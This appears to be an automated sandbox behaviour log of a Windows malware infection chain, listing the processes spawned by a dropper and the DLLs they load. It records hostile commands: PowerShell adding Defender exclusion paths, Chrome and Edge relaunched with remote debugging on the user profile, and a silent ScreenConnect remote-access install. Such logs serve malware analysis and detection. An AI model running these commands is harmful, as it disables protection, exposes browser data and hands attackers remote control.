Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6832 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe "C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe "C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe "C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe "C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe "C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe "C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BEA3CDA60BB479BD6134249EBA64259 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 62663BE67B089F3264AF2C8AE57ABC03
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 51F875823EBE9D039049F5CCE08F98AE E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIA043.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3973343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "81374bf4-5161-4e78-9062-2622505dd25b" "User"
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "071e1d02-2ded-441e-a216-a8295fcfc66b" "System"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2168,i,12495445197851295823,16602898073438706142,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2460,i,10425933932398577591,16914703880363206691,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5412 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6832 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
